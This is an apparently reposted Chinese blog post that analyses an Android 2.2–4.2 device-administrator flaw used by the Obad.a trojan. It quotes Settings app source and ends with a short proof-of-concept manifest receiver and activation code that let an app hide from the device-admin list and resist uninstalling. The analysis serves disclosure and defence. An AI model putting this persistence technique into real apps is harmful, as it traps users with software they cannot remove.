• Android设备管理器漏洞分析!


    一、漏洞描述

             目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载。其实该漏洞早在去年底已被发现。

           注册为“设备管理器”的应用是无法被直接卸载的。只有取消激活“设备管理器”后才可以直接卸载。

           木马可以利用Android设备管理器漏洞达到在设备管理器列表“隐身”的效果。这样用户就无法进去“取消激活”页面,从而达到无法卸载的目的。


    二、影响版本

           Android2.2以上(4.0,4.1,4.2)

    三、漏洞原理

           首先我们来看一下Settings app如何形成设备管理器列表的:

           相关类:

           packagesappssettingssrccomandroidsettingsDeviceAdminSettings.java

       public class DeviceAdminSettings extends ListFragment {       DevicePolicyManager mDPM;     final HashSet<ComponentName> mActiveAdmins = new HashSet<ComponentName>();     final ArrayList<DeviceAdminInfo> mAvailableAdmins = new ArrayList<DeviceAdminInfo>();
        @Override     public void onResume() {         super.onResume();         updateList();     }
        void updateList() {         mActiveAdmins.clear();         List<ComponentName> cur = mDPM.getActiveAdmins();         if (cur != null) {             for (int i=0; i<cur.size(); i++) {                 mActiveAdmins.add(cur.get(i));             }         }
            mAvailableAdmins.clear();         List<ResolveInfo> avail = getActivity().getPackageManager().queryBroadcastReceivers(                 new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED),                 PackageManager.GET_META_DATA);//通过查询广播”android.app.action.DEVICE_ADMIN_ENABLED“来得到可用的设                                                                                             //备管理器程序列表         int count = avail == null ? 0 : avail.size();         for (int i=0; i<count; i++) {             ResolveInfo ri = avail.get(i);             try {                 DeviceAdminInfo dpi = new DeviceAdminInfo(getActivity(), ri);                 if (dpi.isVisible() || mActiveAdmins.contains(dpi.getComponent())) {                     mAvailableAdmins.add(dpi);                 }                 //如果应用已激活设备管理器&&注册了”android.app.action.DEVICE_ADMIN_ENABLED“就出现在可用设备管理器列表             } catch (XmlPullParserException e) {                 Log.w(TAG, "Skipping " + ri.activityInfo, e);             } catch (IOException e) {                 Log.w(TAG, "Skipping " + ri.activityInfo, e);             }         }                  getListView().setAdapter(new PolicyListAdapter());     }
       .......          class PolicyListAdapter extends BaseAdapter {       .......

            public void bindView(View view, int position) {             final Activity activity = getActivity();             ViewHolder vh = (ViewHolder) view.getTag();             DeviceAdminInfo item = mAvailableAdmins.get(position);//显示mAvailableAdmins中数据             vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager()));             vh.name.setText(item.loadLabel(activity.getPackageManager()));             vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent()));             try {                 vh.description.setText(item.loadDescription(activity.getPackageManager()));             } catch (Resources.NotFoundException e) {             }         }     }

    }    

    由Android Settings App源代码可以看出,如果想在设备管理器列表中”隐身“,只要不注册”android.app.action.DEVICE_ADMIN_ENABLED“广播就行。
    四、POC代码  

    AndroidMainfest.xml文件注册组件:

        <receiver Android:name=".deviceAdminReceiver" android:label="@string/app_name"     Android:description="@string/description" android:permission="android.permission.BIND_DEVICE_ADMIN">        <meta-data Android:name="android.app.device_admin"                 Android:resource="@xml/device_admin" />     </receiver>

    java代码注册激活设备管理器:

        Intent intent = new Intent(         DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); ComponentName  mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver");  intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,         mDeviceComponentName); this.startActivity(intent,0); 

    恶魔的眼睛:http://www.cnblogs.com/ablansetaimeng/
  • 相关阅读:
    ssh无密码登录设置方法以及出现问题 ECDSA host key 和IP地址对应的key不同的解决
    asp.net core 3 Swagger 添加 Authorization [Bearer token]
    asp.net core3 发布到IIS
    asp.net core 3.1 使用log4net
    asp.net core 3 跨域
    解决'vue' 不是内部或外部命令,也不是可运行的程序 或批处理文件的方法
    ReSharper 安装没有提示功能
    Python3 安装MySQL驱动
    win10 安装 Python 和 pip 详解
    Win10下 80端口被system(pid=4)占用的解决方法
  • 原文地址:https://www.cnblogs.com/ablansetaimeng/p/4021878.html
Copyright © 2020-2023  润新知